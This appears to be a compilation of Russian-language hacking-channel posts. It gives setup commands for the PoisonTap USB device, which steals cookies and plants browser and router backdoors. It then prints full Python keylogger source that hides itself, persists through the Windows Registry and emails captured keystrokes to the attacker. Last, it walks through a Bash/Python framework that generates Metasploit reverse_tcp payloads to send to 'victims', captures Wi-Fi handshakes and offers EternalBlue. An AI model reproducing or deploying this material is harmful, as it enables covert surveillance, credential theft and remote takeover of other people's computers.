Poisontap – устройство способное взломать любой компьютер

Энтузиаст, хакер и просто хороший специалист в области компьютерной безопасности — Сэми Камар поделился новым способом взлома компьютеров под управлением macOS и Windows. Для этого он разработал устройство под названием Poisontap, которое состоит из набирающего все большую популярность миин-ПК – Raspberry Pi. Если подключить гаджет к компьютеру, то он определяется, как Ethernet-устройство, позволяющее перенаправлять на себя весь сетевой трафик.

poisontap

Сначала Poisontap скачивает с компьютера все cookies, которые, как известно, хранятся в кэше браузера, а затем перехватывает управление Wi-Fi-роутером, что дает возможность посредством интернет отправлять любой код на устройство-жертву. Причем, после отключение хакерского гаджета от компьютера, на нем остается бэкдор. Таким образом, решение позволяет обмануть антивирусы и экраны блокировки.

Если вы хотите узнать о нем больше, Сэми полностью раскрывает его детали на своем сайте: samy.pl/poisontap/

Там же приведен ряд советов, как обеспечить защиту от такого рода атаки – от запечатывания USB-портов компьютера цементным раствором или клеем, до следования не очень обнадеживающим и непрактичным советам от Microsoft «Не оставляйте ваши лэптопы и компьютеры без присмотра».

Прежде чем мы перейдем к функционалу, я расскажу вам как установить Raspbian и Poisontap.

Часть 1. Установка Raspbian

Нам понадобиться sd-карта весом в 16-32 гигабайта, картридер(как вариант можно обойтись переходником) и образ системы.

Скачиваем отсюда https://www.raspberrypi.org/downloads/raspbian/ образ системы который вам больше нравиться (я выбрал фулл версию с предустановленным софтом – Raspbian Full Buster). Далее прожигаем образ на флешку через Win32DiskImager (ссылка: https://sourceforge.net/projects/win32diskimager/files/latest/download )

Так выглядит Win32DiskImager:

В Device мы выбираем нашу флешку, а в Image File – образ ОС, после нажимаем Write, когда процесс завершиться можно вставить флешку в нашу малину и запускаться, далее будет простая настройка, где нужно будет выбрать язык системы и тд., не вижу смысла этого показывать.

Часть 2. Настройка служб и Установка Poisontap

Когда система установлена можно настроить базовые службы.

Для начала открываем консоль и пишем sudo raspi-config

Далее в появившемся окне выбираем все то, что показано в гифке:

Когда мы все сделали перезагружаем малинку и после перезагрузки в консоли пишем sudo apt-get update.

В консоли пишем:

sudo apt-get install git npm

sudo npm install websocket

curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash –

sudo apt-get install nodejs

git clone https://github.com/samyk/poisontap

cd poisontap

sudo node backend_server.js &

Дальше нам нужно создать bash скрипт – sudo nano install.sh.

Когда нажали Enter у вас откроется текстовый редактор, куда нужно поместить следущее:

# Instructions adjusted from https://gist.github.com/gbaman/50b6cca61dd1c3f88f41

sudo bash

echo -e “\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0” >> /etc/network/interfaces

echo “dtoverlay=dwc2” >> /boot/config.txt

echo -e “dwc2\ng_ether” >> /etc/modules

sudo sed –in-place “/exit 0/d” /etc/rc.local

echo “/bin/sh /home/pi/poisontap/pi_startup.sh” >> /etc/rc.local

mkdir /home/pi/poisontap

chown -R pi /home/pi/poisontap

apt-get update

apt-get -y install isc-dhcp-server dsniff screen nodejs

Выйти должно что-то такое:

Нажимаем CTRL + X, Y и Enter

Пишем в консоли sudo chmod +x install.sh и теперь можно запустить наш скрипт.

Как вы видите пришлось написать exit что бы скрипт пошел дальше, так что держите это в уме.

Если скрипт остановиться, используем exit снова.

Теперь нам нужно редактировать файл  rc.local, по перед этим мы его забекапим на рабочий стол:

sudo cp /etc/rc.local /home/pi/Desktop/

sudo nano /etc/rc.local

Убираем все строки из файла, что бы он выглядел вот так:

Проделываем почти тоже самое с dhcpd.conf:

sudo cp /etc/dhcp/dhcpd.conf /home/pi/Desktop/

sudo cp dhcpd.conf /etc/dhcp/dhcpd.conf

На этом установка завершена, можно подключать наш rpi0 к компьютеру, но перед этим проверьте файл /etc/network/interfaces, в нем должны быть примерно такие строчки:

auto usb0

   allow-hotplug usb0

   iface usb0 inet static

   address 1.0.0.1

   netmask 0.0.0.0

Так же стоит добавить в файл /etc/default/isc-dhcp-server строчку:

INTERFACES=”usb0″

Часть 3. Функционал Poisontap

Когда PoisonTap подключен к компьютеру, он:

  • Эмулирует Ethernet устройство через USB (или Thunderbolt);
  • Захватывает весь интернет-трафик с компьютера (несмотря на то, что он является низкоприоритетным / неизвестным сетевым интерфейсом);
  • Перекачивает и хранит HTTP cookies и sessions из браузера для top 1,000,000 сайтов Alexa;
  • Предоставляет внутренний маршрутизатор атакующему, делая его доступным удаленно через исходящие соединения WebSocket и DNS;
  • Устанавливает постоянный бэкдор основанный на веб-браузере в кеш HTTP для сотен тысяч доменов и обычных Javascript CDN URL, каждый из которых имеет доступ к cookie через отравление кеша;
  • Позволяет атакующей стороне удаленно заставлять пользователя создавать HTTP-запросы и ответы прокси-сервера (GET & POST) с помощью кукифайлов пользователя в любом домене, который имеет бэкдор;
  • Бэкдоры и удаленный доступ сохраняются даже после извлечения устройства и окончания атаки.

Что еще умеет Poisontap?

PoisonTap эмулирует Ethernet устройство (например, Ethernet через USB/Thunderbolt) — по умолчанию, Windows, OS X и Linux распознают ethernet устройство, автоматически загружают его как низкоприоритетное устройство сети и подают запрос через него, даже если машина заблокирована или защищена паролем.

PoisonTap отвечает на DHCP запрос и предоставляет машине IP адрес, однако, DHCP ответ создан для того, чтобы сообщить машине, что внешнее IPv4 пространство (0.0.0.0 – 255.255.255.255) является частью локальной сети PoisonTap, а не маленькой подсети (например, 192.168.0.0 – 192.168.0.255)

  • Обычно не имеет значения, подключено ли вторичное сетевое устройство к машине, поскольку ему будет предоставлен более низкий приоритет, чем существующему (доверенному) сетевому устройству, и он не заменит шлюз для интернет трафика, но …
  • Любая таблица маршрутизации / приоритетность шлюза / порядок безопасности службы сетевого интерфейса легко обходится ввиду приоритетности “LAN traffic” над “Internet traffic”.
  • PoisonTap использует этот сетевой доступ даже в качестве низкоприоритетного сетевого устройства, поскольку подсеть
  • низкоприоритетного сетевого устройства имеет более высокий приоритет, чем шлюз (маршрут по умолчанию) устройства с наивысшимприоритетом.
  • Это означает, то, что если трафик предназначен для 1.2.3.4, тогда как обычно данный трафик попадает в маршрут/шлюз по умолчанию для первичного (не PoisonTap) сетевого устройства, PoisonTap на самом деле получает трафик, потому что локальная сеть / подсеть PoisonTap, как предполагается, содержит 1.2.3.4, и каждый другой существующий IP-адрес.
  • Ввиду перечисленных выше причин, весь интернет трафик проходит через PoisonTap, даже если машина подключена к другому устройству сети с более высоким приоритетом и надлежащим шлюзом (подлинный wifi, ethernet,и т. д.)

Как работает перекачивание cookie?

  • До тех пор, пока в веб-браузере работает фон, одна из открытых страниц, вероятно, будет выполнять HTTP-запрос в фоновом режиме (например, загружать новую рекламу, отправлять данные на аналитическую платформу или просто продолжать отслеживать вашу веб-активность) через AJAX или динамические теги script/iframe
  • Вы можете увидеть это самостоятельно, просто зайдите в свой devtools / inspector (обычно Cmd + Shift + I или Ctrl + Shift + I), перейдите на самый посещаемый веб-сайт, перейдите на вкладку Network («Сеть») и наблюдайте, как удаленные ресурсы продолжают быть доступными, даже если вы не предпринимаете никаких действий на странице.
  • По этому HTTP запросу, так как весь трафик выходит на PoisonTap устройство, PoisonTap DNS быстро возвращает свой адрес, заставляя, таким образом, HTTP запрос попадать на PoisonTap сервер (Node.js).
  • Если DNS сервер указывает на внутренний IP (LAN), к которому PoisonTap не может получить права доступа, атака продолжает функционировать, поскольку внутренний DNS-сервер будет генерировать публичные IP-адреса для различных атакуемых доменов, и это те общедоступные IP-адреса, которые PoisonTap уже перехватил.
  • Как только внутренний DNS сервер отвечает, браузер попадает на общедоступный IP адрес, в итоге, попадая на веб-сервер PoisonTap (Node.js) в любом из сценариев.
  • Когда Node веб-сервер получает запрос, PoisonTap отвечает откликом, который может быть интерпретирован как HTML или Javascript, оба из которых выполняются правильно (многие веб-сайты загружают HTML или JS в фоновых запросах)
  • Затем страница HTML/JS-agnostic производит множество скрытых iframes, один iframe для каждого домена Alexa-top-1-million
  • Любая “X-Frame-Options” безопасность на домене теперь с легкостью обходится, т.к. PoisonTap сейчас является HTTP сервером и сам выбирает, какие заголовки отправлять клиенту.
  • Так как каждый iframe HTTP запрос на сайт выполняется (например, ), HTTP cookies отправляются из браузера на «общедоступный IP » уже украденный PoisonTap, который быстро протоколирует информацию о cookies и аутентификации, записывая десятки тысяч пользовательских cookies на PoisonTap
  • Любая “HttpOnly” cookie безопасность легко обходится и эти cookies захватываются, ввиду того, что Javascript не выполняется на самом домене, а используется в первую очередь только для загрузки iframe.
  • Любая безопасность Cross-Origin Resource Sharing или Same-Origin Policy также обходится без проблем, потому что способ, с помощью которого был получен доступ к домену, браузеру кажется вполне законным/легитимным
  • Все это происходит потому, что мы перехватываем cookies, а не учетные данные, и поэтому любые 2FA/MFA, реализованные на сайте, очень просто обходятся, когда атакующий использует cookie для входа. Так происходит ввиду того, что мы, на самом деле, не выполняем функцию входа, а продолжаем уже существующую сессию, которая не запускает двухфакторную проверку подлинности.
  • Если сервер использует HTTPS, но в файлах cookie явно не выставлена отметка Secure cookie, защита HTTPS без проблем обходится и cookie отправляются в PoisonTap.

Удаленно доступные веб-бэкдоры

  • В то время как PoisonTap создавал тысячи iframes, заставляя браузер загружать каждый из них, эти iframes являются не просто пустыми страницами, а скорее HTML + Javascript бэкдорами.
  • Поскольку PoisonTap force-кэширует эти бэкдоры в каждом домене, бэкдор привязан к этому домену, позволяя атакующему использовать cookie домена и запускать запросы того же источника в будущем, даже если пользователь в настоящий момент не вошел в систему.
  • Например, когда http://nfl.com/PoisonTap iframe загружен, PoisonTap принимает отклоненный интернет трафик и отвечает на HTTP запросы через Node веб-сервер.
  • Добавлены дополнительные заголовки HTTP для кэширования страницы как неопределенной.
  • Фактический ответ страницы представляет собой комбинацию HTML и Javascript, которая создает постоянный WebSocket на веб-сервере атакующего (через Интернет, а не на PoisonTap устройстве)
  • WebSocket остаётся открытой, позволяя атакующему, в любой момент времени в будущем, подключиться к машине с бэкдором и выполнить запрос к любому источнику, где реализован данный бэкдор (Alexa top 1,000,000 sites — смотри ниже)
  • Если бэкдор открыт на сайте (например, nfl.com), но пользователь хочет провести атаку против другого домена (например, pinterest.com), атакующий может загрузить iframe с nfl.com в бэкдор pinterest.com (http://pinterest.com/PoisonTap)
  • И снова обращаю ваше внимание, что любая безопасность “X-Frame-Options”, Cross-Origin Resource Sharing, и Same-Origin Policy на домене полностью обходится, т.к. запрос попадет в кэш, из которого вышел PoisonTap, а не в подлинный домен.

Бэкдор для роутера и удаленный доступ

  • Есть одна сеть, которую PoisonTap не может взломать, и этой сетью является реальная LAN подсеть подлинного сетевого интерфейса (например, если пользовательской wifi подсетью является 192.168.0.x, то эта сеть останется незатронутой), но…
  • PoisonTap force – кэширует бэкдор на специальном хосте, в частности IP-адрес целевого маршрутизатора, добавленный к «.ip.samy.pl», например. 192.168.0.1.ip.samy.pl, по существу осуществляя постоянную атаку перезапуска DNS.
  • При использовании PoisonTap в качестве DNS сервера (жертва использует общедоступный DNS сервер), PoisonTap временно отвечает специальными PoisonTap IP (1.0.0.1), подразумевая то, что любой запрос в данный момент попадет на PoisonTap веб-сервер.
  • Если вместо этого DNS-сервер установлен во внутреннюю сеть (например, 192.168.0.x), дополнительный специально созданный запрос поступает на 1.0.0.1.pin.ip.samy.pl, который сообщает моему DNS серверу (в общедоступном интернете), что необходимо временно отвечать на любой [ip.address].ip.samy.pl адрес с «прикрепленным» адресом (1.0.0.1) на протяжении нескольких секунд
  • Затем PoisonTap быстро устанавливает бэкдор на http://192.168.0.1.ip.samy.pl/PoisonTap, который на данный момент указывает на устройство PoisonTap в 1.0.0.1, что позволяет обращаться к бэкдору и кэшировать с устройства PoisonTap
  • Защита DNS пиннинга и DNS перепривязки легко обходится ввиду истощения таблицы DNS пиннинга
  • из-за сотен тысяч ранее запрошенных запросов, и повторное связывание не должно произойти в будущем, что делает эту атаку устойчивой в течение длительных периодов времени (спасибо Мэтту Остину за то, что он поделился этой атакой со мной!)
  • Теперь, когда бэкдор принудительно кэшируется по адресу http://192.168.0.1.ip.samy.pl/PoisonTap, любые будущие запросы к 192.168.0.1.ip.samy.pl будут обращаться к незакрепленному IP-адресу, запуская 192.168. 0,1 и указывая непосредственно на маршрутизатор.
  • Это означает, что если вы загружаете хост 192.168.0.1.ip.samy.pl/PoisonTap в iframe удаленно через бэкдор, вы теперь можете выполнить AJAX GET/POSTs на любой другой странице на внутреннем роутере, полностью удаленно, таким образом открывая удаленный доступ к внутреннему роутеру.
  • Это может привести к другим атакам на роутер, к которым у атакующего могло бы и вообще не быть доступа, к таким как использование учетных данных администратора по умолчанию для перезаписи DNS серверов, или раскрытие уязвимостей аутентификации.

Обо всем этом вам расскажу только я на канале @cybersecs

Пишем кейлогер с помощью Python

Почему Python?

В первую очередь, это его простота. Достигается она за счет того, что язык и все его составляющие изначально являются интерпретируемыми. Еще несколько лет назад такие системы и языки не были популярны у профессионалов, поскольку компилируемые данные работали гораздо быстрее, поэтому простоту предпочитали скорости. Но в случае, когда скорость обработки и выполнения кода машиной не настолько важна, есть смысл сэкономить время программиста и отдать предпочтение тому, что проще создавать, проверять и в дальнейшем совершенствовать. Кроме того, современная вычислительная техника гораздо лучше справляется с чтением интерпретированных кодов, а потому разница между языками постепенно стирается.

Второе важное достоинство – универсальность и «всеядность». Во-первых, программы на Python могут работать с любой операционной системой. Это делает его универсальным как для пользовательских задач, приложений в гаджетах, системных задач в серверах и массивах данных и так далее. Во многом благодаря этому Python и набрал свою популярность. Более того, в отличие от своего предшественника С, Пайтон занимает равное количество ресурсов памяти, а потому является по-настоящему легко переносимым кодом.

И на конец то, что большинство хакерских скриптов написаны именно на Пайтоне, делает этот язык по настоящему идеальным для нас, куча библиотек, столько же готовых примеров кода не просто упростят нам жизнь, но сделают ее чуточку приятнее.

Но есть и недостатки так?

Их совсем немного. Большинство программистов сходятся во мнении, что все же Python не так быстр, как хотелось бы. Даже в сравнении с другими интерпретируемыми языками он может проигрывать. Однако на деле задач, где важна супер-скорость реализации кода, не так много. Для большинства компьютеров и тем более гаджетов резвости Пайтона более чем достаточно.

Но для нас проблемой станет вес программы, поскольку для создание exe, пайтону нужно тянуть за собой интерпритатор и кучу библиотек.

Перед созданием кейлогера мы должны сделать gmail почту и включить там эту функцию:

https://myaccount.google.com/u/1/lesssecureapps

Приступаем к написанию!

Работать наш кейлогер будет через gmail и для начала вам нужно установить модуль PyWinhook, pyinstaller, smtplib и email, после этого мы импортируем остальные нужные библиотеки, а PyWinhook как pyHook.

pip install нужныйпакет

import pyWinhook as pyHook
import pythoncom
import threading
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import win32event, win32api, winerror

Функция отправки email

Тут будет функция отправки писем, пароль и адрес почты на которую мы будем пересылать нажатые клавиши:

def email():
    mail_content = '''
    Привет, я кейлогер написаный специально для @CyberSec`s!
    '''

    # Получатель, почта кейлоггера и пароль от нее
    sender_address = "почта для пайлогера"
    sender_pass = "пароль от почты для пайлогера"
    receiver_address = "ваша почта@gmail.com"

    # Setup the MIME
    message = MIMEMultipart()
    message['From'] = sender_address
    message['To'] = receiver_address
    message['Subject'] = 'It`s a me, PyLogger!'  # Тема письма

    # Читаем файл - отправляем логи
    message.attach(MIMEText(mail_content, 'plain'))
    file = open("C:/Windows/Temp/klog.txt", "r")
    stringlogs = file.read()
    file.close()
    message.attach(MIMEText(stringlogs))

    # Создаем SMTP сессию для отправки письма
    session = smtplib.SMTP('smtp.gmail.com', 587)  # Сервер и порт gmail
    session.starttls()  # Запускаем защищенное соединение
    session.login(sender_address, sender_pass)  # Заходим в наш аккаунт
    text = message.as_string()
    session.sendmail(sender_address, receiver_address, text)
    session.quit()
    print('Mail Sent')

Класс Keylogger

В нем будет путь к файлу с логами и максимальное количество символов для отправки:

class Keylogger:
    i = ''
    log_path = ("C:/Windows/Temp/klog.txt") # Указываем путь куда сохранять txt с логами 
    MAX_KEYSTROKES = 100 # Максимальное к-во символов, после него следует отправка письма

Скрытый запуск

Напишем функцию с помощью которой наш кейлогер сможет запускаться скрыто при помощи библиотеки threading:

class myThread(threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter

    def run(self):
        main()

Добавление в автозагрузку

Функция которая будет добавлять наш exe в реестр:

def addStartup():
    if getattr(sys, 'frozen', False):
        os.path.dirname(os.path.realpath(sys.executable))
    elif __file__:
        fp = os.path.dirname(os.path.realpath(__file__))
        file_name = sys.argv[0].split("\\")[-1]
        new_file_path = fp + "\\" + file_name
        keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'# Место в системном реестре куда мы и будем сохраняться

        key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)

        SetValueEx(key2change, "logger", 0, REG_SZ, new_file_path)

Параметры для открытия файлов

Это нужно будет для дальнейшего понимания статьи. Как видите, в примере, мы открыли файл с параметром а, это значит что данные которые мы в него запихнем не сотрут старые.


file = open(Keylogger.log_path, “a”) # Открываем txt с флагом а

Флаг “а” указывает на то что файл будет открываться в режиме append, то есть добавление символов, а не полная замена их.

‘r’ – read, режим чтения, который используется, когда файл только читается;

‘w’ – write, режим записи, который используется для редактирования и записи новой информации в файл (любые существующие файлы с таким же именем будут удалены при активации этого режима);

‘a’ – append, режим добавления, который используется для добавления новых данных в конец файла;

‘r +’ – read plus, специальный режим чтения и записи, который используется для обработки обоих действий при работе с файлом.

Добавим кнопкам названия

Проще говоря, если айди клавиши 13, значит ее зовут ENTER ну и так далее:

def KeyFilters(event):
    if (event.KeyID == 13):
        Keylogger.i += ' [Enter] '
    elif (event.KeyID == 162 or event.KeyID == 163):
        Keylogger.i += ' [CTRL] '
    elif (event.KeyID == 164 or event.KeyID == 165):
        Keylogger.i += ' [ALT] '
    elif (event.KeyID == 8):
        Keylogger.i += ' [BackSpace] '
    elif (event.KeyID == 160 or event.KeyID == 161):
        Keylogger.i += ' [SHIFT] '
    elif (event.KeyID == 46):
        Keylogger.i += ' [Delete] '
    elif (event.KeyID == 32):
        Keylogger.i += ' [Space] '
    elif (event.KeyID == 27):
        Keylogger.i += ' [Escape] '
    elif (event.KeyID == 9):
        Keylogger.i += ' [TAB] '
    elif (event.KeyID == 20):
        Keylogger.i += ' [CapsLock] '
    elif (event.KeyID == 38):
        Keylogger.i += ' [Up] '
    elif (event.KeyID == 40):
        Keylogger.i += ' [Down] '
    elif (event.KeyID == 37):
        Keylogger.i += ' [Left] '
    elif (event.KeyID == 39):
        Keylogger.i += ' [Right] '
    elif (event.KeyID == 91):
        Keylogger.i += ' [Windows] '
    else:
        Keylogger.i += chr(event.Ascii)# Если айди не попадает под наши "категории" даем ему имя "символа"
    return True

Инициализируем переменные

Эта функция будет инициализировать переменные для будущего использования в sending_procedure

# Инициализируем переменные для sending_procedure
def initialize():
    hm.UnhookKeyboard()
    Keylogger.i = None
    Keylogger.i = ''
    hm.HookKeyboard()

Записываем собранные клавиши в файл

# Записываем собранные клавиши в файл
def writeToFile():
    file = open(Keylogger.log_path, "a") # Открываем файл с флагом "а"
    file.write(Keylogger.i) # Записываем в файл наши "логи"
    file.close() # Закрываем файл
    return True

Запрещаем множественные копии кейлогера

Проще говоря, это сделано для того, что бы на компьютере не смогли быть запущены сразу 2 наших кейлогера:

# Запрещаем копии кейлогера
def disallow_Multiple_Instances():
    mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
    if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
        mutex = None
        exit(0)
    x = ''
    data = ''
    count = 0

Функция OnKeyboardEvent

Данная функция запускает KeyFilters и после и sending_procedure, что позволяет нам делать лог клавиш и отправлять его на почту:

# Запуск "Слушателя" клавиш
def OnKeyboardEvent(event):
    KeyFilters(event)
    sending_procedure()
    return True

Скрытие консоли кейлогера

Используя модуль win32gui мы указали что видимость окна будет равна 0:

# Скрытие консоли
def hide():
    import win32console, win32gui
    window = win32console.GetConsoleWindow()# Узнаем где наша консоль
    win32gui.ShowWindow(window, 0)# Делаем ее невидимой
    return True

Функция запуска кейлогера

# Запуск кейлогера
def main():
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

#Вызываем функцию hide
hide()
#Добавляемся в реестр для автозагрузки
addStartup()
#Делаем переменную pm, которая будет обозначать HookManager
hm = pyHook.HookManager()
#Вызываем функцию disallow_Multiple_Instances
disallow_Multiple_Instances()
#Вызываем функцию для скрытого запуска
thread = myThread(1, "Thread", 1)
thread.start()

У вас наверняка возник вопрос как собрать это все в exe, для этого мы напишем скрипт, который будет запускать нам pyinstaller.

import os.path
import os
import platform

logo = r'''

'''

# Очищаем терминал и печатаем логотип
def main():
    if platform.system() == "Windows":
        os.system("@cls")
    else:
        os.system("clear")
    print(logo)

main()
# Переменная с командой для pyinstaller, вместо main.py впишите название ВАШЕГО скрипта
install = ("pyinstaller -w --onefile --icon=ico.ico main.py")
# Вызываем команду install
os.system(install)

На этом все. Теперь вы знаете, как создать простейший кейлоггер на Python, который при желании можно доработать еще лучше.

Вас ебали, ебут и будут ебать. Государство, хакеры, чиновники. Остановить эту свингер-пати невозможно. Но я научу предохраняться. Я покажу и расскажу вам то о чём не пишет журнал “Хакер” и не рассказывают или просто не знают другие каналы. Здесь ты найдешь подборку лучших статей и видеоматериалов на тему кибербезопасности. Все, от аудита Wi-Fi до вскрытия автомобилей (если вы потеряли ключи). А также горячие новости с авторскими коментариями.

Обо всем этом вам расскажу только я на канале @cybersecs

Пишем свой фреймворк. Упрощаем работу с Metasploit и Aircrack-ng. Python + Bash

Если вам доводилось использовать Metasploit и Aircrack-ng, то вы наверняка задумывались о том, что неплохо было бы автоматизировать их работу. Сегодня я вам покажу примеры оптимизации используя Python и Bash!

Начнем с того что для пайтона уже есть библиотека под названием pymetasploit, но дабы уменьшить статью и не рассматривать еще одну либу, мы будем использовать самые простые решения, в которых сможет разобраться даже ребенок.

Начинаем!

Как всегда импортим нужные модули и делаем лого

import os
import platform
from modules.CyberScanner import portscanner
from modules.AircrackWifi import aircrackwifi
from modules.AirodumpWifi import airodumpwifi


mainlogo = r'''
   
'''

Дальше создаем графическое меню, с которого в дальнейшем будем запускать наши утилиты:

# Main
def main():
    os.system("chmod +x *")#выдаем файлам нужные параметры
    os.system("clear")#очищаем терминал
    print(mainlogo)#печатаем логотип

    print('''
 [1] Port Scanner #сканер портов

 [2] Capture Handshake Of The Closest Networks #захват хендшейка AP рядом с нами  

 [3] Capture Handshake Of Specific Network #захват хендшейка определенной AP

 [4] Automated Metasploit #Bash скрипт для оптимизации работы Metasploit

 [99] Exit
''')

os.system(“chmod +x *”) задает файлам в папке с нашим фреймворком нужные разрешения, просто держите в уме то, что при каждом запуске функции main файлам будет выдаваться параметр +x, это нужно будет в дальнейшем для запуска Bash скриптов, при желании это можно убрать, но тогда при добавлении новых скриптов это нужно будет писать руками.

Теперь пишем саму функцию меню:

menu_option = int(input('[OPTION] ==> '))#берем ввод пользователя
что бы в дальнейшем запускать наши модули
    #Тут наши функции с утилитами, я их пометил "###"   
    if menu_option == 1:
        portscanner()###
    elif menu_option == 2:
        aircrackwifi()###
    elif menu_option == 3:
        airodumpwifi()###
    elif menu_option == 4:
        automatedmetasploit()###
    elif menu_option == 99:
        exit()
    else:
        print("Wrong command !")#на случай если пользователь указал неверную цифру


if __name__ == '__main__':
    main()
    print('[$] Created by F4RB3R with Love.')#после завершения работы скрипта добавляем надпись

В конечном итоге должно выйти что то такое:

С меню и обработкой ввода пользователя мы закончили, теперь нужно написать сами скрипты для оптимизации. Начнем с Aircrack-ng и Airodump-ng!

Импортируем библиотеки, пишем логотип, все как всегда:

import os
import sys


def aircrackwifi():#основная функция которую мы будем вызывать в главном меню

    logo = r'''
                       
    '''

    os.system("clear")#очищаем терминал
    print(mainlogo)#печатаем логотип 

Теперь нам нужно начать писать базовые команды aircrack-а, вроде остановки network manager-a и тд.

print("Kill network manager ? (type 'y' or 'n')")#Спрашиваем хочет ли пользователь остановаить network manager 

if input() == "y":#если y, делаем команду ниже
    os.system("airmon-ng check kill")
elif input() == "yes":
    os.system("airmon-ng check kill")
elif input() == "n":
    print("Moving next...")
else:#в других случаях
    print("Network manager wasn`t stopped !")

Теперь выбор адаптера

os.system("airmon-ng")#показываем какие адаптеры есть в системе

userdecision = input("Select wifi-dongle that is more powerful ! (0 for wlan0, 1 for wlan1 and 2 for wlan2)")#переменная с выбором пользователя

if userdecision == "0":#если 0 то выбираем wlan0 и тд.
    os.system("airmon-ng start wlan0")
elif userdecision == "1":
    os.system("airmon-ng start wlan1")
elif userdecision == "2":
    os.system("airmon-ng start wlan2")
else:#на случай если пользователь не выбрал ничего или нажал не ту кнопку
    print("You didn`t choose wifi-dongle !\nExiting...")
    sys.exit()#выходим из программы

Теперь сам запуск

os.system("airodump-ng wlan" + userdecision + "mon")

Функция которую мы написали запускает aircrack, но сканит все точки рядом с нами. А что если мы хотим сканить только одну? Тут нет ничего сложного, добавим пару переменных в конце и у нас будет функция, которая мониторит определенную AP.

Дабы не расписывать все с нуля я возьму лишь основную часть. Как видите код одинаковый и лишь снизу есть небольшие изменения.

os.system("clear")
print(logo)

print("Kill network manager ? (type 'y' or 'n')")

if input() == "y":
    os.system("airmon-ng check kill")
elif input() == "yes":
    os.system("airmon-ng check kill")
else:
    print("Network manager wasn`t stopped !")

os.system("airmon-ng")

userdecision = input("Select wifi-dongle that is more powerful ! (0 for wlan0, 1 for wlan1 and 2 for wlan2)")

if userdecision == "0":
    os.system("airmon-ng start wlan0")
elif userdecision == "1":
    os.system("airmon-ng start wlan1")
elif userdecision == "2":
    os.system("airmon-ng start wlan2")
else:
    print("You didn`t choose wifi-dongle !\nExiting...")
    sys.exit()


#Тут мы добавляем переменную bssid, channel и handshakename 

bssid = input("Enter BSSID of AP")#просим юзера ввести bssid
channel = input("Enter channel of AP")#просим юзера ввести канала AP
handshakename = input("Enter desired name for handshake")#просим юзера ввести имя для хендшейка.Важное замечание, имя может быть и без расширения!

os.system("airodump-ng " + "--bssid " + bssid + " --channel " + channel + " -w " + handshakename + " wlan" + userdecision + "mon")#склеиваем все вместе и запускаем

Новых скринов не будет так как принцип работы идентичен. Возможно вы заметили, что в меню я добавил функцию сканера портов, писать мы его будем все так же на пайтоне используя socket

Импортируем нужные библиотеки

import socket
import platform
import os
import sys
from datetime import datetime

logo = r'''

'''

Дальше определим с какой ОС запущен наш скрипт

if platform.system() == "Windows":
    os.system("@cls")
else:
    os.system("clear")
print(logo)

Кратко объясню что делает функция которую мы только что написали, если ОС Windows – используется cls, что бы очистить терминал, если другая ОС – используется clear

# Считываем ввод ip/хоста от пользователя 
remoteServer = input("Enter a remote host to scan: ")
remoteServerIP = socket.gethostbyname(remoteServer)

# Выводим баннер в котором указываем какой айпи мы сканим 
print("-" * 60)
print("Please wait, scanning remote host", remoteServerIP)
print("-" * 60)

# Переменная в которой мы содержим время начала сканирования
t1 = datetime.now()

С айпи/хостом для скана мы разобрались, теперь самое время указать порты которые мы и будем сканировать:

# Создаем "словарь" в котором будут наши порты, при желании можете сделать for port in range(1, 100): Это означает что будут проверятся порты с 1 до 100. 

dict = [20, 21, 22, 53, 80, 443, 445, 3389, 25]
try:
    for port in dict:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result = sock.connect_ex((remoteServerIP, port))
        if result == 0:
            print("Port {}:    Open".format(port))
        sock.close()

Напишем небольшую проверку если что то пойдет не так:

#Если нажато CTRL + C программа прекратит работу
except KeyboardInterrupt:
    print("You pressed Ctrl+C")
    sys.exit()

#Если хост не найден(указан не верно) программа завершит работу и оповестит нас что не так
except socket.gaierror:
    print('Hostname could not be resolved. Exiting')
    sys.exit()

#Это на случай если к серверу не удаеться подключиться
except socket.error:
    print("Couldn't connect to server")
    sys.exit()

Финальные шаги и программа готова к использованию

# Проверяем время снова
t2 = datetime.now()

# Высчитываем время работы (отнимаем время начала от времени завершения работы)
total =  t2 - t1

# Выводим информацию на экран
print('Scanning Completed in: ', total)

Теперь самое интересное!

Автоматизация Metasploit, писать скрипт мы будем на Bash, язык, если его можно так назвать, довольно простой, если вам было все понятно до этого момента, то трудностей не возникнет. Начинаем!

Делаем лого и меню

#!/bin/bash

# automatedmetsaploit

i=”0″

resize -s 27 80

clear

while [ $i -lt 1 ]

do

clear

ip=$(ip addr show wlan0 | awk ‘/inet / {print $2}’ | cut -d/ -f 1)

echo -e ”

(1) Windows –> test.exe (payload and listener)

(2) Android –> test.apk (payload and listener) 

(3) Linux –> test.py (payload and listener)

(4) MacOS –> test.jar (payload and listener)

(5) Web –> test.php (payload and listener)

(7) Exploit Windows 7/2008 x64 ONLY by IP (ms17_010_eternalblue)

Переменная ip нам понадобиться чуть позже. Добавляем переменные для меню, думаю тут обьяснять не нужно.

service postgresql start #тут мы запускаем базу данных для нашего Metasploit

exe=’1′

apk=’2′

py=’3′

jar=’4′

php=’5′

scan=’6′

eternalblue=’7′

read x #читаем ввод пользователя (если кто то знаком с паскалем тот нашел для себя знакомые моменты)

Теперь заберемся с Reverse TCP

if [ “$x” == “$exe” ]; then  #если пользователь выбрал 1 запускаеться переменная exe             

echo “Enter filename: (test.exe)” #просим ввести имя файла

read filename #”читаем” имя файла

msfvenom -p windows/meterpreter/reverse_tcp lhost=$ip lport=4444 -f exe > $filename #запуск метасплоита

echo -e ‘#переменная где мы выводим имя файла и запускаем “слушателя”, в это время закидываем получившийся exe “жертве”

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!Your payload: $filename!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Waiting for listener…

msfconsole -q -x ” use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost $ip ; set lport 4444 ; exploit ;”

